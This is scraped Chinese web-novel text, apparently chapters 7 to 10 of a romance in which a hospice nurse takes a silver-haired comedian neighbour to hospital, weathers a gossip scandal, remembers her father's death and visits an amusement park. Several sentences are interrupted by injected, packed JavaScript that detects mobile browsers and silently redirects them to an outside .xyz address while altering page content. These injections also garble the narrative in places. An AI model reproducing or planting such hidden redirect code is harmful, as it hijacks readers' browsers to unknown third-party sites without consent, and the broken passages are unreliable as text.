顿了顿,她又说,“也是你的失职!” 她太了解他了,只要搬出刘婧,他一定会妥协。毕竟,为了外婆的病,他连最讨厌的临终关怀都能忍,更何况只是来医院看个感冒? 而且她也没说错。 老人家本身就身体不好,要是知道自己孙子病了,岂不是更担心。 果然,祁慕沉默了。 昏暗的车库里,只有其他车辆驶过的声音。他的目光落在她眼睛上,温柔的眼眸里闪烁着熟悉的坚定。 像他第一次见她时一样。 也像……另一个人。 “怎么说,去不去?”她问。 他静了几秒,终于点头。 温昭低头给妈妈发消息:【晚饭不回去吃了。】 发完,她瞥了祁慕一眼:“待会儿记得戴好口罩,别摘!” 祁慕挑眉,嗓音低哑带笑:“怎么,怕我传染给你?” 都病成这样了,还不忘调侃她。 温昭抬眼,故意道:“传染倒不怕,就怕因为你,我又得上一次热搜。我可不想!” 祁慕低笑出声,口罩随着呼吸微微起伏:“知道了。” 简单的三个字,莫名带了几分纵容。 两人一前一后走进医院,温昭熟门熟路地给他挂了号。 这个点人不多,很快,广播里传来清晰的女声—— “请祁慕,到3号诊室就诊。” - “先去抽个血,等四十分钟左右,拿完报告再过来看。”医生头也不抬地写着病历。 祁慕眉头一皱,手在桌子上敲了几下:“那个…可以不抽吗?我就是普通感冒。” “最近流感高发期,还是验个血放心。” “我就是——” “医生,我们抽!”温昭直接打断他。 祁慕转头瞪她:“我不抽!” “你要抽!”温昭不甘示弱地回瞪,眼里写满了坚持。 “我才是病人!我有权做决定!” “我还是病人家属呢!” 话音落下,诊室里瞬间安静下来。 温昭说完才反应过来。 她刚刚说了什么!? 病人家属!? 她在说什么胡话啊?! 人祁慕发烧了,她也发烧了? 她慌乱地眨着眼睛,试图用眼神发射信号:不是你想的那个意思! 可祁慕好像也懵了,就这么盯着她看,平日里冷淡的眸子此刻雾蒙蒙的,带着几分茫然。 医生目光在两人之间来回扫视,轻咳了两声,笑呵呵地插话:“小伙子,你就听你老婆的吧!” 空气又再次凝固。 “谁是他老婆/谁是她老公?!” 两道声音同时炸响,又同时戛然而止。 温昭耳根红得像在滴血。 医生“哦”了一声,又说:“那就听你女朋友的吧。” 女、朋、友??? 医生你除了老婆和女朋友就想不到别的称呼了吗? 温昭的睫毛快速眨动,不自觉地低头看向坐在就诊椅上的祁慕。 不料正撞进一双深邃的眼眸里。 ——他也在看她。 两两相望,温昭呼吸一滞。 日光灯下,祁慕微微仰着头,黑色口罩遮住大半张脸,她看不透他的神情,只有在那双清冷的眼睛里,依稀看到了对方眼中那个无措慌乱的她。 指尖不自觉地掐进掌心,留下了月牙的形状。 三秒。 五秒。 或许更久。 时间被无限拉长,连空气都变得粘稠。 “咳……” 祁慕仓皇移开视线。骨节分明的手指无意识地揪住口罩边缘往上拽了拽,头发下的耳廓泛着可疑的红。 窗外的雨声忽然变大,哗啦啦地,像是在嘲笑这尴尬的气氛,也像极了两人此刻乱了节奏的心跳声。 …… 医院走廊的长椅上,两人并肩坐着,中间隔着一拳的距离,像是可以保持的安全线。 温昭盯着对面墙上的健康宣传画,思绪闪回方才祁慕死活不肯打针的模样。 等等…… 他不会是害怕吧? 这个念头突然冒出来,温昭嘴角下意识上扬。 一定是这样! 185的银发酷哥,舞台上怼天怼地的脱口秀演员,居然会怕打针? “噗——”她一个没绷住笑出声,又慌忙捂住嘴,可惜已经来不及了。 “你在笑什么?”祁慕的声音从口罩里闷闷地传来。 温昭转头就撞上他眯起的眼睛:“没、没什么。” 她捂着嘴的动作瞬间僵住,像个做错事的小孩,嘴角的笑意还没来得及收起,就化作一个略显尴尬的弧度,假装研究起宣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286410|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传画上的解析。 祁慕懒懒地往后一靠,看着她泛红的耳尖和精致的侧脸轮廓,想起方才她探手摸他额头时的触感,微凉的指尖,还有身上的那股茉莉花味…… 他低下头,口罩下的唇角勾起了一丝不易察觉的弧度。 …… “我早说了不想打针。”祁慕冷不丁地开口,声音闷在口罩里。 把正在发呆的温昭吓了一跳。 “让你打针是为你好,”她回过神来,放软了语气,“也是为了外婆着想。要是真染上什么传染病,以她现在的免疫力……” 话说到一半突然卡壳。 温昭眨了眨眼,发现祁慕又像刚刚那样盯着她,而且专注得可怕。 ——他干嘛这样看着我? ——是又说错什么了吗? “你…”他喉结滚动了一下,声音放轻,“为什么这么在意我外婆?” “你放心,”她强装镇定,声音却不争气地发颤,“绝对不是因为……” 话未说完,祁慕又逼近几分。 温昭下意识往后缩了缩,后背抵上冰凉的椅子扶手。医院的顶光灯把那双被头发微遮的眼睛勾勒的更加幽深,眸光流转间带着几分独属于他的轻佻。 “因为什么?” 他追问,呼吸的热度穿透口罩。 温昭的心脏快要跳出胸腔。 难怪外面都说男明星的眼神看狗都深情! 她被他盯得越来越慌张,眼神四处乱飘,却怎么也逃不开他目光的桎梏。 “我、我是说……”她结结巴巴地,手指揪住衣服,“这是医生的职责所在……” 祁慕忽然笑了,眼角泛起细纹,像只得逞的狐狸。 他懒洋洋地靠回椅背,几缕银发在灯光下泛白,透着散漫。 “温医生还真是……”他故意拖长尾音,带着明显的挑逗,“尽职、尽责啊。” 温昭的眉头不自觉地皱了起来。 这人就不能好好说话吗? 每次开口都跟说脱口秀似的,尾音非要扬得老高,生怕别人不知道他是靠嘴吃饭的? 她正想反驳,余光瞥见屏幕上跳出祁慕的名字。 “到你了。”她朝着大屏努了努嘴。 刚才还戏谑的祁慕瞬间像变了个人,他慢吞吞地站起来,步伐缓慢的走了过去,磨磨蹭蹭地在抽血台边上坐下。 温昭差点又笑出声—— 不是吧?他真怕啊! “祁慕是吧?”抽血护士头也不抬,冷漠地核对信息,“拳头握紧。” 他僵硬地伸出手臂,眼神飘向远处。 温昭实在看不下去了,三两步走过去。她纤细的手指轻轻覆在祁慕眼前,掌心立刻传来他皮肤滚烫的温度。 “你干嘛。” “帮你分散注意力啊。”她压低声音,“没想到大明星也这么胆小~” 或许是他真的怕极了,意料中的反击并没有到来,长长的睫毛在她掌心下微微颤动。 温昭愣了几秒。 眼前这个安安静静配合治疗的男人,和舞台上那个锋芒毕露的毒舌形象简直判若两人。 居然有点……可爱? “好了。” 护士利落地拔出针头,祁慕这才长长地舒了口气,转头就看到温昭一脸见鬼的表情。 “你这什么表情?” “就是觉得……你胆子…真小!” “谁胆子小了?”他按着止血棉签,还想反驳,却看见温昭笑得不成样。 “你!”祁慕气得牙痒,却在对上她含笑的眼睛时突然语塞,“下次别挡我视线,我不怕……” “哦。” 祁慕:“现在干嘛?” 温昭:“等报告。” 8. 第8章 温昭看了眼手机,已经六点二十了。 还有二十多分钟才能拿报告单。 她侧过头,祁慕歪着脑袋靠在椅背上,头发往一边倒,胸口随着呼吸轻轻起伏。平日里总是张扬的眉眼此刻安静地闭着,长睫毛在眼下投下两片阴影。 她屏住呼吸凑近,指尖悄悄探向他的额头。 “干嘛?” 像是有所察觉,她刚伸到半空,那双冰冷的眼睛突然睁开了。 她手尴尬地悬上方,进退两难。 “我……”她急中生智,顺势做了个伸懒腰的动作,“那个…你还好吗?要不要再去量下体温。” 祁慕定定地看了她两秒,突然抓住她的手腕,直接往自己额头上带。 温昭睁大眼睛,心跳漏了半拍。 “你…你干嘛?” “量体温。”他理直气壮。 温昭简直要气笑了。 这人是烧糊涂了吗?谁家用手量体温啊! 当她是人体探测仪吗? 他不经意间抬眸看去,少女的瞳孔又黑又亮,还带着些许无辜,脸颊微微泛红。像是看穿她的心思,他解释道:“我手太烫摸不出来。”又指了指楼下,“而且懒得排队。” 温昭探头往楼下望去。 急诊儿科果然人满为患,抱着孩子的家长排成长龙。最近换季流感高发,有一次值班到十一点多,还看到家长带着孩子去挂号。 “怎么样?” 她这才回神,掌心传来的温度比刚才更烫了。 “要不要去买个退热贴?都烫成这样了……” “退热贴?”他嫌弃地撇嘴,“那是小孩子用的东西!” “你不是吗?连打针都怕!” 祁慕眉头一皱,眼睛危险地眯起,明晃晃写着:再敢说一句试试? 温昭立刻怂了,慌忙转移话题:“你饿不饿?要不我们去吃点东西?” “吃什么?” “你想吃什么?面?饭?粥?” “……”他犹豫片刻,又说,“面。” “那走吧,医院附近有一家。”温昭站起身。 祁慕慢吞吞地站起身,突然一个踉跄。 “小心!” 温昭眼疾手快地扶住他的手臂,触手一片滚烫。 “没事…”祁慕嘴上这么说,身体却很诚实地往她这边歪了过来,半个身子的重量都压在了她肩上。 你没事,她有事啊! 祁慕虽然不重,但是185的大高个儿压在了一个和他相差二十厘米的人身上,压得她差点没站稳。 简直是把她当人形拐杖了! “你、你慢点。”她红着脸,手忙脚乱地扶住他的腰。 她在心里疯狂吐槽: 我发烧的时候也没这么虚啊! 这家伙平时在舞台上不是挺能站吗?怎么一生病就跟换了个人似的? …… 面馆就在医院对面,推开门时,浓郁的牛肉汤香气扑面而来,很诱人。 “你吃什么?” “跟你一样。” 温昭想了想,对老板喊道:“两碗番茄鸡蛋面!”转头又小声解释,“你生病了,吃点清淡的。” 也不知道这个大明星能不能吃得惯这种街边小店。 这家老面馆开了三十多年,木质桌椅都被岁月磨出了光泽。价格实惠,味道也好,医院的医生都经常来这儿吃,包括温昭。 热气腾腾的面条上桌,白雾氤氲间,她望着对面低头吃面的祁慕,恍惚间觉得有些熟悉。 那年冬天,她也和那个男孩来吃过。 男孩的脸蛋被冷风吹得泛红,和眼前这个因为发烧而泛起红晕的男人如出一辙。 她看得入了神,手中的面条一点儿也没动过。 “怎么了小姑娘,今天的面不合胃口啊?”老板的声音将她拉回现实。 她慌忙地用筷子搅着面条,尴尬地笑了笑:“没有没有,就是太烫了。” 祁慕掀起眼睑,视线落在温昭通红的脸蛋上。 啧,这女人怎么回事?发烧的明明是他,她倒脸红得跟猴子屁股似的。 温昭埋头吸溜面条,两颊鼓鼓的,偏那双眼睛还不安分,一个劲儿往他脸上瞟。 “看够没?”祁慕屈指敲了敲桌面。 温昭差点被面条呛到,手忙脚乱地拿起一旁的纸巾擦嘴。 她清了清嗓:“谁看你了。”说完,一脸心虚地低头看着碗里红色的番茄汤汁,还飘着一片青菜叶子。 “没有最好,”祁慕撑着下巴,“要不然我该误会你是我粉丝了!” “粉丝?”温昭抬起头,轻笑一声,“按照饭圈说法,我们俩现在是对家。” “对家?”祁慕被她的话逗笑,“那温医生可要小心了,要是被你家粉丝知道,你送对家去医院,”他故意拖长尾音,“怕是要上热搜啊~” 温昭皱了皱眉,没再理他。 打心眼里“佩服”—— 不愧是演员,一会儿虚得跟林黛玉似的,一会儿嘴贱得让人想揍他。 跟人格分裂一样! - 推开面馆的玻璃门,雨后的空气格外清新,带着丝丝凉意。 抽血的报告单已经出来了,温昭看了眼:“不是流感,就是细菌感染,引起发炎了,掉两瓶水就好了。” “我、才、不!”祁慕一字一顿地说。 “这可由不得你!” 果然,诊室里医生给出了同样的诊断。 祁慕虽然不情愿,但是温昭又提到了他的外婆,成功拿捏了他的软肋。 输液室里嘈杂得像菜市场,小孩子的哭闹声和动画片的音效混作一团。温昭本想故技重施捂住祁慕的眼睛,却被他一个眼神制止。 温昭撇撇嘴,看着眼前这个大男人紧紧闭着眼睛,直到针彻底扎进血管的那一刻,才放松紧绷的神情。她看到他这个样子,忍不住背过去笑了笑。 忙了一整天,她实在撑不住了。 说来也怪,在这种环境下她反而睡得特别香,没过多久脑袋就开始一点一点下沉。 祁慕本想让她叫一下医生换下水,可看她睡得正香,也不忍打。 他就这样靠在座椅上,侧头看着她。额前的碎发粘在她粉嫩的唇边,头一晃一晃的,有些可爱。 拿出手机,“咔嚓”一声。 图片上的少女睡颜恬静,乌黑的头发垂在她白皙的脖颈处,很美好。 他点开live图,看见她无意识地舔了舔唇瓣,还皱了皱小巧的鼻子,睡着的样子倒有些可爱。 “这都能睡着。”他小声嘀咕着,“温昭你是猪吗?” 语气里是自己都没察觉的宠溺。 他放大照片看了又看,唇角不自觉地上扬。转头望向熟睡中的温昭,眼神是自己都没察觉的温柔。 他就这样看着,直到一通电话响起,打碎了这片刻美好。 是助理打来的电话,医院实在有些嘈杂,他戴上了蓝牙耳机:“喂,什么事?” “祁慕,你在哪儿呢?” “医院。” 电话那头倒吸一口凉气:“你真在医院啊!” “怎么了?”他一脸莫名其妙。 “你去看热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他打开微博,修长的手指在屏幕上快速敲打—— #祁慕恋情 假的,生病而已,没女朋友。 [输液照片] 他在屏幕上轻轻一点,微博立刻发送成功。 与此同时,公关那边也立刻发布了声明,声称陪同的只是普通工作人员。 有图有真相,热度很快就降了下去。 不过还是有些人还是在质疑—— “那女孩怎么看也不是工作人员。” “谁家工作人员穿这么温柔?骗鬼呢!” “哥哥之前的助理不都是男生吗?” “总感觉他在欲盖弥彰!” “……” 他刷着不断跳出的新评论,忍不住侧头看向身旁的温昭。 她今天穿了那身水绿色长袖连衣裙,棕色的头发披在肩头,五官柔和,双眸干净,皮肤白皙,鼻翼处还有颗褐色的小痣,整个人跟她的姓氏一样温婉大方。 确实……怎么看都不像个普通工作人员。 祁慕清了清嗓子:“热搜已经处理好了。” “这么快?!” “不过……”他欲言又止。 “不过什么?”温昭歪着头看他。 “我辟谣说,你是我的工作人员。” 9. 第9章【捉虫】 “啊?”温昭瞪圆了眼睛,“工作人员?” 祁慕不以为然地点点头:“对啊,不然说什么?” 他歪着头,凑近了些:“助理?那我粉丝估计会问什么时候变的性!” “……”温昭有些无语。 这人恢复得倒是快,一小时前还病恹恹的像个大型挂件,现在就能毒舌得让人想揍他。 她干脆别过脸去,不再搭理这个没良心的。 而祁慕看到她这幅样子也只是笑了笑。 走出医院时,她刻意和祁慕保持了三米以上的距离。 虽然热搜照片只有背影,估计除了粉丝和拍的狗仔,连亲妈都认不出来,但她总觉得跟这个行走的热搜体站在一起,迟早还会再上一次头条。 她可不要! 救命!她只想要临终关怀科普上热搜好吗! …… 车子稳稳停在小区楼下。温昭把药袋塞给祁慕,叮嘱道:“记得吃。” “知道了。”他懒懒地回复。 手机震动,妈妈发来消息:【回来了吗?】 她低头回复:【上电梯了。】 电梯内,只有机械运转的细微声响。 祁慕犹豫了片刻,将手中拿的一盒东西递到她面前:“拿着。” “什么?” “门港的特产,本来想给外婆,但突然想起来她吃不了,就给你吧。” “我不用。” 他直接递到她怀里,语气不容拒绝:“让你拿着就拿着。也当…谢谢你今天送我去医院,还有谢谢你帮我照顾外婆。” 温昭愣住。 现在给东西都那么强制吗?先是许汀州,现在又是他…… 她本还想拒绝,但电梯门却打开了。祁慕先走了出去,根本不给她拒绝的机会。 可刚走两三步,他脚步却突然顿住。 她疑惑地顺着他的视线看去—— 王舒月站在门口,嘴巴微张,眼里全是惊讶,目光在两人身上来回扫视。 温昭小跑了过去:“妈,你在门口干嘛呢?” 王舒月盯着祁慕看了两秒,这才回过神:“哦,那个我放垃圾。” 说着,她把一袋垃圾从屋内拿出,放到了门口,眼睛却还黏在祁慕身上。 “昭昭,”她悄悄拽了拽女儿的衣袖,“这你朋友啊?” “邻居。”温昭抢答。 祁慕走了过来,点了下头,礼貌地打了声招呼,快速转动钥匙开门。 温昭趁机把妈妈往屋里拽,关门瞬间听见对面也“砰”地一声。 两扇门同时关上,震得楼道声控灯都亮了起来。 …… 客厅里,王舒月坐在沙发上,目光灼灼,像是发现了什么不得了的事情。 “老实交代,这人谁啊?” “就,邻居啊……” 温昭低头换鞋,鞋带解了又系,系了又解,愣是磨蹭了半天。 “我记得之前你的邻居不是一个老太太,现在怎么变成一个帅小伙了?” “还能为啥,搬走了呗。” 她含糊地应着,顺手把那盒“门港特产”塞进卧室,生怕妈妈再追问。 “那你今天干嘛去了?”王舒月不依不饶。 温昭动作一顿,脸立马泛起红晕:“就…就加班啊……” 她从小到大都不擅长撒谎,一撒谎就结巴,眼神乱飘,然后忍不住去摸索别的东西转移注意力,让她不那么紧张。 王舒月是谁? 自家闺女这点小动作,她一眼就能看穿。 “昭昭,你跟妈妈说实话,你晚上是不是跟他在一块?” “没——”她加大音量,“我真在加班!” “真的?”王舒月挑眉,满脸写着“我信你才怪”。 “真的!” 见她态度坚决,王舒月终于没再追问。 但显然没死心。 她慢悠悠地踱进温昭房间,冷不丁来了一句:“昭昭,那你这邻居长的还挺帅啊,都可以进娱乐圈了!” 温昭背对着她,无声地叹了口气—— 有没有一种可能,人家本来就是娱乐圈的? 而且,您上次还说过人家“缺德”! “昭昭啊,”王舒月突然把她扳过来,眼神狡黠,“近水楼台先得月,这么好的机会……” “妈——”温昭再次加重语气,“我跟他没可能!” “为什么,他有女朋友了?” 温昭赶紧顺着台阶下:“嗯!” “你看看别人下手多快!”王舒月一脸痛心疾首,仿佛错失了一个亿的帅女婿。 “哎呀,行了妈,”温昭推着她往外走,“我要换衣服了!” 门“咔哒”一声关上,温昭背靠着门板,长舒一口气,目光落在桌上那盒精致的礼盒上,走过去打开,里面是一盒精致的巧克力。 她忍不住摇头—— 这人也是真没常识,不知道胃癌患者不能吃巧克力吗? 不过…她倒蛮喜欢的。 她拆开包装,捏起一块熊猫形状的巧克力,丢进嘴里。 嗯,不甜不腻,刚刚好。 - 温昭推开浴室门的瞬间,蒸腾的热气争先涌出来。她随手拨了拨湿漉漉的发梢,一滴水珠顺着脖颈滑落至锁骨,最后洇进真丝睡衣的领口。 划开屏幕一看,林晚居然发了十多条信息,每条都保持着她的标志性风格—— 永远不超过三个字 林晚:【昭昭】 林晚:【祁慕】 林晚:【居然有】 …… 林晚:【图片】 温昭忍不住扶额。这事儿都过去一个多小时了,热搜早被压到98位了,不愧是“山顶洞人”,吃瓜永远赶不上热乎的。 温昭:【看到了。】 消息刚发出去,林晚就打来了视频电话。 屏幕那头的她眼中全是对八卦的渴望:“昭昭!你今天又加班吗?有没有看到祁慕?” “……没。”温昭摇头,顺手把毛巾放在桌上。 她从来没告诉任何人祁慕外婆是她病人这事,毕竟涉及患者隐私,作为医生不能随意透露。 “那、那他不是你对门,你看到了吗?”林晚不死心,恨不得从屏幕里钻出来扒着她肩膀摇。 温昭继续摇头。 视频那头,林晚瞬间蔫儿了,闺蜜住在大明星对面,自己却不能吃到一线大瓜,林晚比谁都沮丧。 温昭犹豫片刻,装作不经意地问:“晚晚,你说像这种绯闻对明星影响大吗?” 林晚托着腮,认真思考着:“怎么说呢,如果是假的,就还好,但如果是真的……不对!哪怕不是真的,在娱乐圈里要是被拍到一个男明星或者女明星和异性逛街,或在一起啥的,都影响挺大的吧……关键是有些粉丝能把你祖坟都扒出来,可吓人了!” 顿了顿,她又说,“你问这干嘛?” “我就好奇嘛!”温昭干笑两声。 她长舒了一口气,幸好今天没有拍到别的,只是两个背影。 她看向一旁桌上摆着的巧克力,思绪不合时宜地回到了医院—— 祁慕滚烫的掌心覆上她的手腕;她蒙住他眼睛时睫毛扫过掌心的触感;车里主动探身摸他额头的那个瞬间,还有…… 虽然是出于医生的本能,但……确实不合适。 或许是因为他外婆是她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286412|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病人,又或许是邻居这层关系,让她误以为他们之间没有那道无形的鸿沟。 但今天的事情告诉她,他们俩的阶级同,也不是同一个世界的人。 就像第一次在脱口秀现场,那个被粉丝簇拥的祁慕,仅仅因为她反驳了一句就被送上热搜,差点遭遇网暴…… 她…早该长记性的…… “昭昭,昭昭!” 林晚的声音把她拉回现实。 她猛地一激灵:“啊——” “你想什么呢?” “没有,”她勉强笑笑,“就想到了医院里面的一些病患。” “你呀,”林晚吐槽道,“能不能少想点工作,都下班了。” 温昭扯了扯嘴角,没接话。 “其实要不是爱豆,谈个恋爱也没什么吧?难不成真要出家当和尚?”顿了顿又补充,“除非他喜欢男的!” 温昭终于笑出声。 “对了,”林晚突然转移话题,“听说许汀州回来了?” “嗯,前几天刚到。” “我们周末要不要出去玩?叫上他一起?” 温昭想起许汀州送她的礼物,她还没有还礼,还有欠下的那顿饭,立刻点头:“好啊。” 林晚因为她的关系,和许汀州也算熟识,有这活宝在,至少不会冷场。 虽然和许汀州曾经很亲近,但六年不见,各自的生活轨迹早已不同。单独相处时,她还是会不自觉地感到尴尬。 …… “咚咚咚——” 敲门声突然响起,王舒月的声音隔着门板传来:“昭昭,开下门。” “晚晚,我先挂了。” “好嘞,拜拜。”林晚点点头,又说,“记得想我哦!” 温昭起身去开门,发尾的水珠随着动作滴落在地板:“妈,怎么了?” 王舒月站在门口,手里还拿着一件未叠好的衣服:“妈妈就是跟你讲声妈妈明天就走了。” “走?您要去哪?” “妈妈前段时间报了个旅游团,准备和你赵阿姨区去渝市玩几天。”王舒月边说边帮女儿把翘起的衣领抚平,“听说那边的火锅特别正宗。正好这天不热,去那儿玩正合适!” 前些年妈妈总是念叨着要去渝市玩,吃那边最正宗的火锅。但因为温昭工作原因,一直没什么机会,直到现在也是,忙碌的停不下来,她心里有些愧疚,无能的愧疚。 她皱了皱眉:“那什么时候回来?” “玩个一周左右吧,然后直接回滨海了。”王女士笑着把衣服放进衣柜,“怎么?舍不得妈妈啊?” 温昭顺势抱住妈妈的胳膊,下巴搁在她肩上蹭了蹭:“对啊!” “得了吧,”王舒月笑着拍了拍她的脑袋,“平时嫌我唠叨的是谁?嗯?” “我哪有!”温昭撇起嘴。 王舒月转过身来,眼神中有些担心:“记得按时吃饭,冰箱里我包了馄饨和饺子,在冷冻层。”说着又补充,“别老吃外卖,对身体不好,知道不?” “知道啦!”温昭拖着长音应道,突然想起什么,“要不我明天送你去机场吧?” “嗯。”她抬手看了眼腕表,“行了,早点休息,明天六点就得出发。” “好!”温昭点点头,看着妈妈转身的背影,无意识喊了声, “妈!” “怎么了?”王舒月转过头。 “……没事。”温昭抿嘴笑了笑,眼睛有些酸,“就想叫叫你。” “傻丫头,快去休息!” “嗯。” 房门轻轻合上,温昭站在原地,听着妈妈渐行渐远的脚步声,心里说不出的滋味。 有些时候真不知道待在星海是对还是错。 10. 第10章 窗外飘着细碎的雪花,那是新年里的第一场雪。 五岁的小温昭踮着脚尖趴在病房的玻璃窗上。 妈妈从身后环抱着她,她能感觉到妈妈的手臂在微微发抖。 “妈妈,爸爸会好起来的对吗?”她仰起头,看见妈妈通红的眼眶里蓄着泪水,却强撑着对她笑了笑。 病房里,医生们围着病床忙碌着,那些冰冷的仪器发出“滴滴”的声响。 她心里很害怕,虽然不知道死亡到底是什么样的。 但之前父亲说过,就是一个人去了很远的地方,你见不着,也摸不着,可能在你想他的时候,他会在你的梦里出现,陪着你聊会儿天。 医生在病房内抢救了十多分钟,主治医师推开门的瞬间,小温昭就明白了什么。 那个叔叔摘下口罩时,她看见他额头上密布的汗珠,还有眼睛里藏不住的疲惫。 “我们尽力了,还有什么想说的话,可以现在去说。” 妈妈的身体猛地晃了一下,小温昭感觉自己的手被握得生疼。她没有哭出声,只是眼泪不受控制地往下掉,在羽绒服上晕开深色的痕迹。 病床上的爸爸看起来好陌生。 那些插在身上的管子像藤蔓,把他牢牢缠住。她想碰碰爸爸的手,又怕弄疼他。 “昭昭,爸爸没事,爸爸会永远陪着你的。” 爸爸的声音轻得像是从很远的地方传来。 他费力地抬起手,指尖冰凉,轻轻擦过她的眼泪,“你要记得照顾好妈妈,也要照顾好自己。” “知……道……吗?” 那只布满针眼的手突然垂落,在白色的床单上砸出一声闷响。 小温昭想去抓住,却只抓住了一手冰凉的空气。 她知道,爸爸最后那句“没事”是骗人的。 她偷偷看见过化疗时的爸爸,那个总是笑着把她举高高的男人,蜷缩在卫生间吐得直不起腰。病魔把他所有的骄傲都碾碎了,可他每次见到她,还是会露出温柔的笑容。 高三填志愿那天,温昭盯着电脑屏幕看了很久。 鼠标在“星海大学医学系-护理学(临终关怀方向)”的选项上停留了片刻,然后坚定地点击了确认。 …… 她躺在床上,看着天花板。 恍惚间,她好像又看见站在家门前,雪花落在他肩头,而他正对着她笑,伸出小拇指要和她拉钩,还跟她嬉闹,跟她堆雪人…… “爸爸,我答应你的事……”她对着空气轻声说,“可能...还是没做好……” “你会不会怪我……” 一滴泪顺着太阳穴滑进鬓角,在枕头上洇开一个小小的圆点,像那年落在她毛衣上的雪花。 只不过这次没人帮她再抚去…… 也没有人在回答她…… - 五点半的天还有些暗,温昭已经把妈妈送到了机场。返程时,朝阳还未跃出地平线,但天空被映成一片梦幻的粉紫色,像打翻的颜料盘。 回到家后,她收拾了一下。 前天晚上,林晚在群里发了一条游乐园的位置信息,许汀州来她们过去。 星海四月的天气已经带着初夏的燥热,最高温度有25度。 温昭在衣柜前犹豫片刻,最终选了件淡紫色开衫配黑色的百褶短裙,很韩系。颈间带着一条珍珠项链,在暖黄灯下泛着温润的光泽。 这是妈妈前些年给她买的生日礼物。 化妆时她有些手生,对着镜子折腾了半天才想起来步骤。平常工作的时候,基本都是素颜,除非要参加什么活动才会化个妆,那些瓶瓶罐罐都快积灰了。 她对着镜子笨拙的戴上了雾灰色的美瞳,原本干净的眼眸多了几分深邃。裸粉色玻璃唇釉让本就饱满的唇瓣更显水润,她抿了抿嘴,镜子里的人也跟着眨了眨眼。 叮—— 手机屏幕亮起。 汀州哥:【昭昭,我到小区楼下了。】 温昭匆匆回复:【好的,我马上下来。】 她拎起小包往外走。 关上门,她看了眼隔壁“1201”的门牌号,脚步顿了顿,便下楼了。 四月的风带着花香,吹动她栗棕色的卷发。暖阳里,她栗棕色的卷发泛着蜜糖般的光泽。风一吹,连带着耳朵上小巧的钻石耳环都折射出细碎的光芒。 “昭昭!”小区门口,许汀州站在车边朝她招手。 “汀州哥。”温昭小跑过去,左右张望,“林晚呢?” “她呀,”许汀州无奈地笑,“一大早就给我发消息,说先来接你。” 温昭噗嗤笑出声。 不用想也知道,她肯定又在纠结今天穿什么,画什么妆。 大学时候,两人住在一个寝室。每次一起出去玩,为了不让温昭等她,林晚都会提前一个半小时起床。有些时候甚至拉着温昭一起,还总恨铁不成钢地对她说:“昭昭,你这张脸配不上你的手。” 言外之意就是—— 我要是长这样,我一定天天打扮! 然后勇闯天涯! - 这个游乐园是星海新开的。温昭仰头看去蓝色的城堡,屹立在景区中间,很梦幻,和温昭今天的穿搭倒是相配。 “我的天……”林晚突然拽住她的手腕,“这队伍是认真的吗?” 检票口前的排着长队,蜿蜒了几百米。 虽然是周六,但是她们完全没想到居然会有这么多人,清一色都是背着大包小包的年轻女孩。放眼望去,不少人肩上扛着大炮,那架势像是来参加什么摄影比赛的! 她不禁感叹道—— 为了出片可真是不容易…… 林晚突然激动地掐她胳膊:“快看那个女生的包!” 顺着她指的方向,一个双肩包上赫然挂着祁慕的Q版吊牌,随着主人晃动的动作一摇一摆。 虽说是Q版,但是上面的人已经透露着一股不屑感。 温昭看到过一些追星人的线下。她们的包包上会挂着一些自担的吊牌或者挂件,甚至还会放一些小卡和自担的棉花娃娃。 她以前也干过这种事。 不过挂的是爱因斯坦,美其名曰“保佑考试顺利”。 十点整,检票口终于开闸。 前面几个女生像箭一样冲了出去,百米冲刺的架势把温昭看得目瞪口呆。 现在玩个游乐园都需要这样了吗? 三人慢悠悠往里走的模样,在一群狂奔的游客中显得格格不入。 走到园区地图前,林晚发出哀嚎一声:“有没有搞错!二十个项目封了十二个?这还玩个鬼啊!” 温昭凑近看了看,确实大片区域都被标上了“暂不开放”的红叉。 许汀州:“可能是还没修建完?” “不可能!”林晚掏出手机狂翻攻略,“上周还有人发过山车的视频呢!” 许汀州环顾四周,指向站在一旁的工作人员:“我去问问情况,你们等我下。” 林晚点了点头,看着那个叉叉,满脸懊恼。 …… 没一会儿,许汀州就回来了。 “保安说是有个综艺在拍摄,所以封了这些项目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286413|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “综艺!”林晚眼睛“唰”地亮了起来,激动地叫出了声,“那就是说有明星!!” 